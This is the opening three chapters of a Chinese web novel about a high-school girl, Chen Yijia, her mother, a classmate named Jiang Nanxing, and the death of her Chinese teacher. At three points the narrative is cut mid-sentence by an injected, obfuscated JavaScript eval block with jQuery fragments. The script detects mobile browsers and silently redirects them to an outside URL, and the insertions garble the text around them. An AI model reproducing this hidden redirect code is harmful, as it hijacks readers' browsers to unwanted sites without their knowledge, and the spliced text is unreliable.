《境外》 1. 第 1 章 该怎么描述“珠沙”这座城市? 我想起前段时间网络上很流行的一个形容——盛大而荒芜。 珠沙坐落于无边的沙壤,单调的土色沙砾在阳光底下泛着一种辉煌的珠光。极致的干燥与清澈,使它拥有全境最通透的夜空,成为享誉全国的高科技观星区。风沙偶尔被掀开,露出一些陶片和石碑,引人发掘,延伸历史。 ——《境外》 ------------------------------------- 珠沙夏天的热是干热,太阳照在皮肤上,像被人绷紧了皮肤再拿着细针往毛孔里扎。 陈亦佳抱着书包嚼烤肠,还有一根放在碟子里,周围沁着点油渍,陶立芝拿着工作服开浴室的门,“吃完就去上学。” 陈亦佳说:“妈,我想先洗个澡。” “让妈先洗,两点上班,晚了来不及。”她把浴室的门观上,里面很快传来水声,她接着说,“我为了给你做饭已经跟人换班了,再迟到不太好。” 这么热的天气能吃完一根已经是勉强,陈亦佳看着碟子里那根,一句“没苦硬吃”咽下去;实在没胃口,她抽了一张卫生纸把火腿肠包起来塞进书包侧边口袋,打算出门走得远点再扔掉。 洗完碗又磨蹭了十分钟,浴室里还哗啦哗啦地响。 高三开学一月,时间紧张,在每周返校前洗个漫长的的澡,在温水冲刷中做一场幽僻美梦成了这段时光的唯一消遣。 这么比喻的话,陈亦佳感觉今天好像没加油。 但可能陶立芝也是这么想的。陈亦佳不知道需要等到什么时候,背着书包走出去,“妈,我走了哦。” 学校门口有家银行,叫雅达银行,银行周边绿化做得很好,空调也开得足,周遭聚集了很多流浪猫。陈亦佳每次经过时都能看到一只很瘦弱的三花,今天也“喵”一声,有点幽怨地看着她。 陈亦佳想起来烤肠还没扔,掏出来放在地面,银行前面的花坛下铺着花岗石地板,那只小猫的影子倒影出来,显得又瘦又脏。 它凑过来闻了闻,又把头偏开。 她其实对小动物没多少喜欢,只是这只实在贴得紧,才多玩了一下,如今看它这样儿也觉得挺好笑:自己都流浪了还那么挑。 她还是拿出一张纸巾把油吸了吸,小三花才慢慢低头蹭蹭。 陈亦佳等它吃完才离开。她在毒辣的太阳底下走得飞快,到了宿舍,排在最后一个洗澡。 那年的公立高中宿舍还没有装空调,陈亦佳顶着一头汗水,伏在小桌子上把遗留的作业补完,又把新刷到的阅读里的每个生词都查完做好注解。 她做事情很刻板,比如衣服一定要洗澡的时候顺手放进洗衣机,今天没在家洗澡,还穿着脏的校服,她索性将衣服放进桶里泡着,在白色短袖外面套了件穿软了的吊带碎花裙,背着书包就往教学楼走。 为了应付母亲大人的母爱,陈亦佳比平常迟了几个小时到教室,她不喜欢跑,为了代偿,走路速度是极快的。 六点半,整个校园都是暮沉沉的,作为埋头苦读的学生,陈亦佳见得最多的是教室的日光灯,很少见过傍晚的天光,也不知道是出于返校心态,还是夕阳就是这样,带着淡淡的伤感色调。 静态的,好像要死了一样的画面。 白色的教学楼好像在另一个图层,这个时候进校门的大多数是不怎么爱学习那批,吵吵嚷嚷地往里走,一进到教室就被人掠夺了声带。 走近些,她才在静态的图层看到一些活物——是那群喜欢群体活动的男同学,王老师总说那叫打堆。他们一只手撑在阳台上,另一只手撑着下巴,眼睛齐齐往下看,往远看…… 十七八岁的男生,又大多是坐在教室后排那几个,共性就是不热衷学习,发育得极好,没一个戴眼镜,在忙碌的学习中有大把时间观察别人。 而从下面被观察者的视角,他们高高瘦瘦的一排,又都穿着一样的校服,留着大差不差的板寸,就像售货店里待沽的经典款俄罗斯套娃,被拆开按大小摆成一长排。 由于在三楼,陈亦佳听到他们说这学期新来的语文老师像小白脸,就像大学生才毕业,说他的教学方法有点意思,因为上周小白脸花了一整周的语文课给他们讲了考纲里没有的《洛神赋》。 陈亦佳走近了,进入他们的视线,他听到套娃中有个温和点的声音说:“你们不觉得吗?陈亦佳要是不那个的话还挺那个的。” “那个是哪个?” 那男生含糊说:“像洛神。” 陈亦佳听到《洛神赋》正在回忆有哪些好词好句可以用到作文里,正背到“翩若惊鸿,宛若游龙”,闻声抬眼看去,心想:我吗? “她?”侧边最大那只套娃发出那种由衷觉得好笑的、怀疑的声音,“你说陈亦佳?” 大套娃的声音很有少年感,“陈亦佳”几个字从他嘴里过一遍后,好像就成了他很熟悉的人,但现实分明不是那样的。 大套娃伏在栏杆上笑了一会儿,接着说:“我还记得陈亦佳上学期作文考三十七了。” “你六十你了不起。” 他们还想接着说话,但注意到陈亦佳的视线已经看向他们,没再当面蛐蛐;闭嘴片刻,等陈亦佳走上三楼楼梯,又听见他们说:“真不要脸,我第一次听到学渣嘲讽学霸的。” 大套娃说:“我哪句是嘲讽?” 那个温和点的声音说:“三十七就不能像洛神了?语文好的是曹植又不是洛神,美女只要长得好被人写就行了,又不用多有文化。” “你最没文化。”大套娃的声音是其中比较有辨识度的,“你们到底会不会欣赏人的气质?人好看点就像洛神?得亏是新教了首《洛神赋》丰富了你们的词库,上次讲的是刘三姐,还得谢谢邱老师,不然陈亦佳就会唱山歌了。” 刚说到这里,陈亦佳就已经走出楼梯转角了。 “别他妈说了,学霸刚刚正眼看你了。” “粗俗,学霸肯定对你这样的人能考六十分特别不服。” 陈亦佳没有不服,作文六十分的确很厉害;虽然获得那个分数是一件性价比极低的事,陈亦佳没想过去做,但不得不说,即使做了也不行,她在这方面的确没天赋。 她走出楼梯拐角,走进走廊,套娃们换了一个姿势,稍微侧过身体看她,观察她有没有生气。 陈亦佳的视线没有闪躲,她遵循一个正常人进入新环境的视线轨迹,如常扫过去;套娃们神色有些严肃,只有大套娃突然举起手,笑着冲她挥了挥,“哈喽啊陈亦佳。” 陈亦佳看了他一眼,没理他就走了。她听到套娃们在议论,有个声音说:“蒋狗,你惨了,她刚刚瞟了你一眼。” “这是我第一次看到学霸正眼看我们。” 陈亦佳知道自己在班级的定位是无趣的书呆子,的确跟这帮打堆套娃没什么交集——但“第一次正眼看人”这种说法是极度夸张的。 大套娃个子很高,说话的声调向来往上走的,笑的时候能露出蛮多颗很白的牙。 还有他那个经典的打招呼方式,让他在套娃界脱颖而出。 高二那年的冬天,快过新年的那段时间。 陶立芝说她有笔钱存进银行里忽然就没有了;让陈亦佳跟她一起去银行问问。 那笔钱有四千块,陶立芝在超市的家纺区当销售,一个月的工资加提成大概就是四千块。陈亦佳小学时候父母离异,母女俩就是靠着这一笔一笔的四千块生活,陈亦佳就是靠这一笔一笔的四千块慢慢升学。 那个冬天又干又冷,母女两人穿着最厚的衣服去往“雅达银行”,门敞开着,一走进去,就被厚重的暖气包围住,鼻腔立即变得湿湿的,伴随着阵阵刺痛。 陈亦佳先带着陶立芝在ATM机器上查了余额,由于手指冻得太僵,触控屏反应不太灵敏,她每点一下都要空出手摸下发痒的鼻尖,电子屏上显示余额数字,确实是没有那笔钱。陈亦佳找到了西装笔挺,正四处巡视的大堂经理,简短清晰地说明事情原委。 大堂经理比她们母女两高不少,很有素质地低头听她说话,随后拿着陶立芝的身份证帮她挂号,说:“这样的话,你在存取款机上解决不了这个问题,要到窗口问问。” 于是,陈亦佳又带着陶立芝到柜台窗口把那段话重新说了一遍。 工作人员听完很礼貌地说:“不会出现这种情况的哦,任何一个银行都不可能私自把客户的钱划走的。” 陈亦佳问她:“那可能会有什么原因?” 工作人员说:“根据记录,这边显示是您自己取走的。” 陶立芝小声地重复她没有取过,不是她取的,怎么可能是她取的。陈亦佳捏着卡看着工作人员,在想还有什么可能。 那人说:“雅达的客户也不止你一个人,怎么可能就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136091|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取走您一个人的四千块钱呢?” 陈亦佳的指腹压在卡的棱角上,来来回回。她听见陶立芝在后面说:“你们不能这样私自就把钱给人划没了啊?四千块钱对你们来说不多,对我们来说是很重要的。” 柜台里的工作人员拉尖了嗓子说陶立芝信口胡说,要把他们请走,陶立芝的声音也大起来,陈亦佳反应有点慢,还在想怎么解决问题,不知道她妈怎么就要跟人干起来了。 高个子的大堂经理走过来,后面跟着两个个子更高的保安,马上就要去拖陶立芝。陈亦佳立即挡在她前面,仰头问,“事情都没有处理好就要赶人吗?” 她们不走。 余光里,办理其他业务的人都看过来,陈亦佳定了定心,继续说:“她说她没取过,我们家里也不可能有其他人取,卡也从来没有丢过。” 不少人被这个走向吸引注意力,目光在他们之间逡巡,像赌球的人投掷情绪,暗自度量该支持哪一方。 陈亦佳想既然记录说明不了问题,那可以调监控,她刚准备提出这个方案,柜台里的工作人员说:“11月24日16点58分。” 陈亦佳还没来得及有反应,就听到陶立芝“嗷”了一声,恍然大悟的,非常天真地说:“我想起来了,是我取的。” 陈亦佳脑门的血管跳了跳,周遭人的目光化为一种黏质的东西,沾在她的手臂上,脖颈上,让她满是污点。 “她一说日期我就想起来了。”陶立芝往前凑得很近,像年轻女生跟闺蜜说话那样,“上个月不是老板娘生日嘛?妈先把这钱取出来送了个首饰,当作人情。” “好好——”陶立芝拽了拽陈亦佳的胳膊,说,“没关系,妈会尽快把这笔钱补上,不影响你念大学,我们先回去。” 陶立芝是这样的,她今年四十岁,身材娇小,音色柔和,她对陈亦佳有很多的要求,把她培养成鹤唳风声的少年,自己却活成了心宽松弛的中年人,比如现在,她根本意识不到在这个大理石地板的,挑高有三尺高的大厅内,别人是用什么样的视角在看他们。陈亦佳想要点脸,但陶立芝屡次不让她如愿。 陈亦佳被气得甩开她的手,说:“为什么你连这种事都记不清楚,好像这卡里有好几个四千块,你隔几天就取一个,所以哪天取了都忘了。” 她故意说难听的话,陶立芝跟既往一样,不会发脾气,用温柔地声调控诉她,“这么尖酸做什么?我都不知道你在生什么气,是气我花了这四千块钱,还是气我丢了你的脸。” “你到会倒打一耙了?”陈亦佳看着陶立芝很温柔的脸,又一次产生了无法交流的感觉,她想算了,别浪费精力说了。 母女对峙,一个坐着一个站着,大堂经理已经驱散了保安,这会儿倒是很包容,说不管怎么样,事情解决了就是好的。 “行了,妈,走吧。”陈亦佳不想再争辩。 “事情有这么严重嘛?跟我置气能解决什么问题?”陶立芝把帆布包往肩膀上一挎,立即起身,想追在陈亦佳面前,但那是把滑轮椅,在光洁的地面轻轻一滚,她往前窜了半步,帆布包往窗口处扫了一道,“你做人就不能宽宏大量一点?” 紧接着就七零八落的声音。 陈亦佳看见几支笔滚落到脚边,好几个广告铭牌被砸得纸壁分离,一只白色的大肚招财猫被分成了两半,两节电池滚到不同的地方,碎掉的陶瓷从牛仔裤底下溅起来,扎在她的脚腕上。 陈亦佳蹲下来,把铭牌组装好,又往前挪了挪,想把招财猫拼起来。 就在这时,一个声音“诶”了声;是那种又年轻又带着中气的声音,有点惊讶和欣喜,像是忽然遇到熟悉的人。 陈亦佳抬头,看到了蒋南行,他穿着一件敞开的驼色派克服,一只手插在口袋,另一只手拿着平板,旁边有个戴着眼镜、打深蓝色领带的中年男人脖子往他那侧倾斜,正在跟他说话。 蒋南行的眼里闪过惊异,随即又露出让陈亦佳印象很深刻的笑容,一排牙齿很白很整齐,他举着平板跟她挥挥手,很熟络地说:“哈喽啊陈亦佳。” 陈亦佳那时正被杂糅的情绪裹挟,她反应很慢地抬头站起来,脑子里想的还是在自己蹲下时的视野:一地狼藉,前面蒋南行的白球鞋,和簇拥着他那群人穿的黑色皮鞋。 她不知道自己抬头时,是否还挂着满脸戾气,迎着蒋南行的目光,陈亦佳把招财猫碎片放在地上,转头离开了。 2. 第 2 章 陈亦佳记得那天的空气尤为干冷,冻得她脚腕上的伤口都不出血了,她急冲冲地往家走,关上门躺在床上。 书上说:睡眠是哺乳动物疗伤的最好方式。 这也是陈亦佳多年来从自己身体上总结出来的经验。 她无声地淌了会儿眼泪,感觉脸都要皴了,如愿地困了起来,她在迷盹中听到陶立芝进屋、敲她的门,然后用很柔和的声音,发出密集的念叨。 比如“年纪不大,脾气不小。” 比如“又在睡,没有人家八十岁的有精气神。” 絮絮叨叨的声音没有得到回应,陶立芝从房门念到客厅,又念到厨房和锅碗瓢盆的声音混在一起。 休息好后,陶立芝仿佛什么都没发生过一样叫她吃晚饭,那件事情也就翻篇。 陈亦佳对于班上这个高个子男生的印象本来存档在这儿——并不体面的一页,感谢今天的事,关于“像不像洛神和作文三十七分”的事件覆盖了“无理取闹和恶劣本性”。 前者总比后者好面对吧。 ------------------------------------- 对高三学生来说,每天就是吃饭和睡觉是最开心的。不仅因为进食时产生了多巴胺,还有找刺激时增加的肾上腺。那时他们住校生是不允许出学校的,经常有人混在通校生里挨挨挤挤地出去,在老师眼皮底下暗度陈仓。 班级里的大个子套娃们就是那样一群人,顶风作案乐此不比;穿着很贵的球鞋,要翻墙出去买一根火腿肠,而且还能吃得乐滋滋的。 而陈亦佳是那种因故出校门都要打个请假条的人,然后在没有人关注她的校门口,穿过熙熙攘攘的人群,把请假条交给在看手机的保安。除此之外的时间,都规规矩矩地在食堂。 他们说陈亦佳是戒过毒的,巨能忍,但是陈亦佳并没有觉得自己在忍。 出去的人越多,食堂就越冷清,也就越显得宽敞。 食堂的味道不好,有个窗口是卖羊肉粉的,炎热的夏天,偌大的食堂,就只有那里冒着热气。 陈亦佳喜欢吃热的东西,只放一半的粉,加很多的薄荷和韭菜,这是陈亦佳摸索出来的吃法;炎热的夏季整个人氤氲在热气中,伴着葱香味,蒸桑拿一样。 有天,蒋南行忽地就坐在他的对面,挡住了对面的光线。 灰色的立领短袖被他穿得很周正,好像他的骨骼天生就比别人长得更板正一些,“陈亦佳,我找你好久。” 在羊肉和韭菜的热气中混进来一点干净的洗衣液的味道,很清新。 她抬眼,“啊”了声。 余光中,有挺多人在看他们的。 不得不承认,蒋南行在学校里便是行走的目光捕集器。 陈亦佳有一次印象挺深刻的,也是在食堂。蒋南行跟一个长头发穿白色羽绒服的女生一起吃饭。 那天蒋南行只穿了件薄外套,应该是才打完篮球,天气太冷了他就伸出两根手指,爪着手捏住筷子,伸长脖子啃鸡腿。对面的女生穿得很像白天鹅,束脚的黑色牛仔裤衬得她的腿修长,她迎着别人的目光,露出倨傲的表情。 好像在那段时间后,班级里就有传言说蒋南行谈恋爱了。 风云人物这种说法有点中二,因为陈亦佳想不通,为什么人不做自己人生的主角,偏要把关注的目光放在他人身上? 总之,蒋南行的确是学校的风云人物,拿起一块砖在珠沙高中砸到十个人,估计十个都是认识蒋南行的,360度无死角地生活在熟人的注视中。 这一点与陈亦佳大相径庭,她觉得人若是被注视的话,就会变得很笨拙。 她把一次性筷子放下,坐直了身体,问道:“有事?” 陈亦佳看到他书包放在空凳子上,略微严肃地说:“当然是有事了。陈亦佳,我找你是来——你吃的什么,怎么这么香?” 他往前凑了些,想看陈亦佳的碗。 有时候挺羡慕蒋南行这种人的,没怎么经历过学习的摧残,身体和心理都很强壮,随便说点话都能发出很大的声音,表达一点都不费劲。 有问有答,她指了指羊肉粉的窗口。 “什么时候开了家卖羊肉粉的?那么点儿地,还没正新鸡排大。”蒋南行看了一眼,把手机放在陈亦佳面前,“你等我一下啊,等会儿我们细聊。” 陈亦佳看着他的背影,埋头猛地喝了两口汤,顿时感觉舌头都烫麻了;她放下筷子,开始揉眼里的泪水。 只怪那个窗口实在没什么人,不一会儿,蒋南行就端着一只很大的碗过来,他点了大份的粉丝,用贼大的海碗装起来,杵在两人前面,她们又被更滚烫的新鲜的葱香味包裹。 蒋南行不知道她想逃,很得意地交流:“陈亦佳,你的头还没这只碗大。” 陈亦佳说:“你找我有什么事?” 蒋南行是个知道汤烫的聪明人,他不紧不慢地喝了口汤,姿势还挺优雅。随后从书包里掏出一杯水蜜桃味的气泡水,“陈亦佳,上周的事,算我的错,我来跟你道歉。” 陈亦佳没动,“啊”了声,“上周怎么了?” “就上周末啊。”蒋南行看她没反应过来,“就你穿了个吊带裙还迟到了那天,他们都让我来给你道个歉。” 蒋南行拧开另一瓶,一口气喝了大半,挺有诚意地说:“我先自罚一瓶,希望你不要记我仇。” 不渴可以不用浪费的,陈亦佳疑惑说:“谁让你来道歉?为什么道歉?” 蒋南行停顿了一下,“第一个问题不是很重要——可能我说了你也不认识。” “那为什么道歉?” 蒋南行隔着雾气观察她的眼睛,“昨天说你不像洛神的话。你懂我的意思吗陈亦佳?我说不像没有其他的意思,确实就是因为你不像——当然像她也没什么好的,你有自己的特点。” 蒋南行说得混乱,陈亦佳理解得很高效,把“洛神”换成“美女”就可以了。 但单纯为了说几句这样的话来道歉大可不必,人活着就是会接受别人的评价的,外貌性格出身,无一逃得过。蒋南行只是把话说出来了而已,况且都算不上冒犯;还专门来道歉,道歉说的话也并不是很好听。 她自然发现了蒋南行在观察她,正疑惑时,看到靠门那张桌子上坐着几个平日跟蒋南行厮混的套娃。她突然想起来,班上的同学经常玩真心话大冒险,可能道歉是假,输了要来找她完成什么任务是真。 那是什么任务?跟陈亦佳搭讪?那太简单了。请陈亦佳喝水?这种任务简直有病。那是跟陈亦佳一起吃饭? “我也觉得确实不像,没事的,我没放在心上,你吃饭。”陈亦佳打算离开。 热气氤氲在他们之间,蒋南行的视线从她脸上挪开,捏着筷子吃了一大口粉丝,鼓着腮帮子嚼东西。 执行任务时也顺便能吃顿很香的饭,可能幼稚园时期因为吃饭厉害受到老师表扬的大童长大了就这样。怪好的,不用家长操心。 陈亦佳不欲再作陪,起身要走,这下蒋南行直接上手抓了下她的手表,“还有其他的事。” 蒋南行说:“我也不应该嘲讽你作文三十七。” 陈亦佳懂了,这个大冒险应该是把无趣的书呆子陈亦佳惹生气。 但这也只是洒洒水,陈亦佳当时还被王老师找过,还挺难过的,但都过了两个多月,不至于调整不过来,“没事,这个也是事实。” “你等会儿我。”蒋南行等她坐下来,才又放心地吃了第二口,抽空问,”你上学期作文为什么又三十多了,又写磁感线了?还是微波炉?” 陈亦佳憋了一下,一瞬间一脸空白,看上去傻愣愣的。 蒋南行这个作文六十分,看起来挺有文采的人却不懂什么叫社交距离,也没有觉悟去维持人与人之间的表面和谐,就问起一件挺尴尬的事。 作文要求写议论文,但这个东西好像和陈亦佳的体系不合,论题论据论证的步骤好像把人导入了一片迷茫的海洋。她没办法从自己的体系中得出别人能接受的答案,于是经常推导出一些惊世骇俗的论题,比如:如果磁场是真实的概念,磁感线是虚构的概念,那怎么确定场就不是磁感线样的呢?这是陈亦佳第一次在全力地议论,为了写这篇文章还补充了课外知识。 那次被嘲笑之后,她作出了更努力的尝试,自认绞尽脑汁做了更深刻的论证,结果得出了更逆天的结论。大意就是:人在遇到合适的对象时,脑子里并不会响起像微波炉一样的“叮”的声音,那如何确定自己交往的对象就是最适合结婚那一个?由此推断,一夫一妻制度是否不合理,那婚姻从一而终就是一个伪命题。这次由于涉及的还是高中生的敏感问题,更加引起轰动。 那时她们的语文老师还是个黑胖的中年妇女,工作压力大,整天愁眉苦脸的。 年级第一偏偏语文学不好,科任老师面上无光,每次看到陈亦佳的分数都愁得头疼。她把陈亦佳的离谱作文拿到高拍仪下,要一段一段地更正。 她边念边批注,才改了几百字就绷不住,严肃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136092|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、终日愁苦的脸上憋不住笑容。随后又笑一会儿改一段,边改还边问陈亦佳是怎么想的。 偏偏陈亦佳不是蒋南行那种善于跟长辈说话的人,打几个哈哈就能过去;那天老师问她什么她就答什么。真诚地讲述自己地论证过程。一点都不幽默,偏偏最好笑。 其中笑声最大的就是后面几排的那些套娃们,他们不爱学习,精力充沛,总是对一些无关紧要的事情投入过多的能量。 陈亦佳被这样搞了几次,终于知道议论并不能老实地议论,论证也不是那个论证,最好不要推出世俗观念不接受的论点。于是她也开始写司马迁,写韩信,这样中规中矩的文章加上一手好字,也可以获得不错的分数。 没人再关心陈亦佳写的韩信和司马迁,她作为笑话的日子很短暂。 去年期末,她被一道蛮有思辨意义的题目绊住脚,纠缠的老毛病犯了,紧赶慢赶作文没来得及写完,那手好字也无法补救,遂作文得了个三十七。 陈亦佳因为这事儿还哭了一场,当然是悄悄地流眼泪,她的疗伤大法屡试不爽,如今再被提起已经波澜不惊,她平静说道:“前面做慢了,作文没写完。” “哦——”蒋南行没听到新的乐子,还有点遗憾,他笑着说:“说起磁感线,你现在弄清楚磁场为什么是真的了吗?” 陈亦佳问:“说起磁场,你现在分清南北极了吗?” 上周周考,物理老师在课堂上批评蒋南行,说他是班级上唯一一个高三还分不清南北极的人。 蒋南行把筷子按倒桌子上,“嘲讽我也嘲讽不到点上,我是忘了哪个字母代表南极哪个代表北极。” 好像更丢人了。 陈亦佳“哦”了声,说:“你外公不是外籍吗?” 话刚出口,陈亦佳便觉得这样说有些超出。 蒋南行说:“但我是华籍的啊。” 陈亦佳没有说话了,蒋南行看了她一会儿。 陈亦佳见着他已经没有要说的,“我要走了。” “等等——”蒋南行又叫住她,“那我也不应该说你矮的。” 陈亦佳语气有点生硬,“你说了?” 蒋南行观察着她的反应,快速反驳,“当然不是我说的,是赵则磊说的?就门口那个。” 他抬起下巴点了下其中一个人,其实陈亦佳都没看清是谁,“哦,我都没听到。” “所以你并没有生气。”蒋南行正对着她,露出了一个微笑,陈亦佳被他的牙晃了一下,她听到蒋南行有点羞涩地说:“陈亦佳,你是我见过性格最好的女生。” 陈亦佳的脸颊抽了抽。不知道他们在闹哪一出,不是要把她惹到破防吗?陈亦佳花在陪聊的时间已经够多,不管是什么任务她其实从一开始就没有配合的义务。 她已经站起来收拾餐盒,蒋南行问她:“陈亦佳,你这周怎么不去喂猫了?” 陈亦佳愣了一下,慢慢捋其中的逻辑。蒋南行觉得她在生自己的气所以没去喂猫?所以生他的气和喂猫之间有关系吗?她并没有就喂猫跟蒋南行做过什么约定,难道是因为喂猫地点特殊? 陈亦佳当然知道雅达银行已经开到每个区都有好几个,但是蒋家的小少爷没必要每个银行发生了什么事都知道吧。 陶立芝在家纺区工作了十年,她的员工卡就是那家银行,陈亦佳拿母亲的卡取过很多次生活费,对那一带很熟悉;陈亦佳经常把陶立芝从超市带回来的不爱吃的零食喂给三花,可能是那些打折食物既不营养又不美味,两年了三花基本没长过个子。 但这一切都是安全的、私人的、跟学校没有关系的。 但是中途突然闯进来一个蒋南行?还有刚才他对自己的笑容,不会吧?不会把自己当成外貌不像美女但心地善良的女同学了吧? 陈亦佳有必要及时打破他的幻想,“我本来就不怎么去喂,之前去也是因为身上刚好有我不想吃的零食。” 蒋南行一时没说话,他其实长的很英俊,眉眼深邃,额头弧度显得人很聪明,聪明相的人一沉默就给人一种他们在思考的感觉。陈亦佳以为他在反刍自己的冷血和恶劣,又脑补起那日在银行的争执,问道:“那猫还好吗?” “好得不得了。”蒋南行迅速从那种状态中抽离出来,“你这周没去,我把安格斯煲里那块牛肉给它了。” 吃过牛肉了,难怪人家嫌烤肠油呢。 陈亦佳说:“我说的是你家柜台前面那只招财猫。” 蒋南行反应了一下,说:“那个啊,我得下次去看看。” 3. 第 3 章 说起陈亦佳的语文成绩,的确是挺好笑的一件事情。 作为理科的断层第一,她的语文成绩狠狠地拽住大腿,是她考了这么多次试唯一一个没有拿过第一,还会被人家甩一大截的学科。 陈亦佳不是不努力,老师也不是不着急。 那时的语文老师姓王,是个矮胖的皮肤又黄又黑的中年妇女,惯常冬天经常穿着一件黑色的亮皮质感的羽绒服,胸口、腰部、臀部的布料都绷得很紧;夏天始终爱穿黑色的很旧的短袖衬衫和大号的包臀裙,电视剧里说那是女人的性感利器,可是王老师把它穿得不好看。 语文是年级第一唯一拖后腿的学科,王老师也面上无光,每次测试完,她就把陈亦佳叫上去分析错题,阅读扣分、作文扣分、连诗词赏析陈亦佳也做错。 王老师从厚重的羽绒服中伸出一截不长的脖子,偏着脸问陈亦佳,“这种题型不是讲过嘛?先分析修辞,再写作用,后面代入具体的语境,分析感情。知道了吗?” 王老师看着她的卷子,步骤都对,说起感情,陈亦佳答得比诗词还抽象;她总觉得这姑娘只会做机器人才能做的东西,再回头看陈亦佳时,人安静又木木的,低着头回答问题的声音很轻,像真的知道自己错了。王老师说她:“你还是发挥一点想象力嘛。” 陈亦佳点头表示自己记住了。 下一次发挥的想象力能把大家吓死。 王老师又把蒋南行的卷子给她看,说让她学习。 这人的字有点行楷的味道,龙飞凤舞的,整体看又都挺协调。王老师提醒她看别人的内容,陈亦佳只是不明觉厉,她觉得语文是一个不讲理的学科,她给不出参考答案要的东西,她挠破脑袋想出来的又都被判为零分。 王老师带陈亦佳快两年,这样的对话自然不是第一次发生,认错是会认的,态度还极其端正,但是奈何陈亦佳在这方面就像飞不起来的笨鸟,听不懂琴声的笨牛,她开不了窍。 “你其他学科的成绩已经非常不错了,再往前进步一分的性价比都很低,只有语文还有很大的进步空间,”王老师的手指指着陈亦佳整洁的试卷,她的手指很短,指背上的指纹像枯槁的树皮,“在这儿多下点功夫,你的省排名还能有个飞跃,知道吗?” 陈亦佳点点头,她的下半张脸起先有点方形的走向,到下巴处又收得挺尖,做咬合动作时,两颊处有条纤细的肌肉会轻轻鼓起来。 王老师知道她的性格,也不忍心说重话,只当她是聪明的,在这方面还没有找到法门。 然而下一次,她又被请到办公室。王老师把她的试卷折起来又打开,在办公桌上很长一串,她来来回回看了几遍,偏着脸跟陈亦佳凑得很近,“好在字还是写得很漂亮的。”。 她这一次的声音比任何一次都柔和,让陈亦佳想起了小时候的陶立芝,陈亦佳木木地看着她。 “主观题不会就算了。升高三了再纠正你这些性价比也不高。”王老师改变了说法,“你现在的成绩在省里排名也能靠前,我们现在改变一下策略,语文千万不能拖后腿,前面这些客观题一道都不能错,知道吗?” 她说:“高考是人生的分水岭,每多一分都会有不一样的未来,知道吗?” 她说话时凑得很近,带着午餐后食物的味道,像是久坐不动、因为压力巨大精神焦虑而内分泌失调的人,但因为她看起来太希望陈亦佳有一个不一样的未来,所以她每次凑近说话,陈亦佳都没有躲开。 陈亦佳说:“好的。” 陈亦佳本来的长期计划已然定下来。就在升高三补课的那个暑假,王老师守晚自习时批改她们的作业,教室里是一片写字的刷刷声,陈亦佳坐在第一排,余光里看到王老师晃了两下。 陈亦佳定睛看去,发现王老师的眼皮无力地闭上,陈亦佳心里一慌,忽地就站起来,双腿撞在桌子上发出一声巨响。 大家被这动静惊扰抬头,恰好就看到王老师重重地砸在地上。 班级里响起几声尖叫,有人上去扶她,有人跑出去找巡逻的老师,陈亦佳站在座位上,前面隔着多媒体机箱,脚下是摞在一起的书箱,周围是挤作一团的同学,她一点都动不了,只能弯着腰,偻着身子往前面看着。 医院离得不远,救护车几乎是和巡逻老师一起到的,几个穿急救马甲的人把王老师抬上担架,陈亦佳和其他人跟着下楼,目送王老师上救护车,警笛声在安静的夜里,又长又响。 随后,他们被巡逻老师赶回教室上晚自习,班主任很快接到通知来安抚他们的情绪。 高中的一切都是按部就班的,她们没把那次意外当成大事,好像低血糖晕倒的人会醒过来,情绪激动的人中醒过来一样,陈亦佳也以为王老师身体好了就会回来。 陈亦佳还在捂住耳朵背文言文,班主任站在讲台前,说王老师因为抢救无效死亡了;班级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136093|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里响起此起彼伏的抽气声,陈亦佳的手指抠着桌沿,感觉心脏有点刺痛。 王老师的葬礼在几天后。 她四十多岁,没结婚,没有子女,住在学校的员工楼里。她出殡那天,班上的学生都去了,那天的天色很暗,大家穿着黑色的衣服,一切似乎都笼罩在雾蒙蒙的氛围中。 日子接着往前,那几日压抑,肃穆的氛围又重新被按部就班的生活取代,她们上完了名为“夏令营”,实则补课的二十多日,新学期接踵而来;班主任带来了一位新人,他很年轻,瘦高瘦高的,戴一副眼镜,穿很柔软的浅蓝色衬衫和西裤,说话声音很温和,自我介绍说自己叫邱宇,是他们新来的语文老师。 大家热烈鼓掌之后,班主任看着邱宇说:“邱老师还挺谦虚,重要的他是一点不讲。”随后跟大家补充道,邱老师是刚毕业的本省名牌师范大学的博士生,算起来是这所学校职工里面最拿得出手的学历,他还说,大家现在不觉得有什么,那些以后想当老师的人,要是考得上这所学校以后就算优秀中的优秀了。 班级里又响起一阵鼓掌声。邱宇在一旁抿着嘴笑。 这位斯文好看的老师很快成为新的议论对象,在一帮穿着一样的蓝白运动服,只能穿着靠着花花绿绿的球鞋彰显个性的高中男生中,沉稳亲和的邱宇有一种清泉流水的美感。 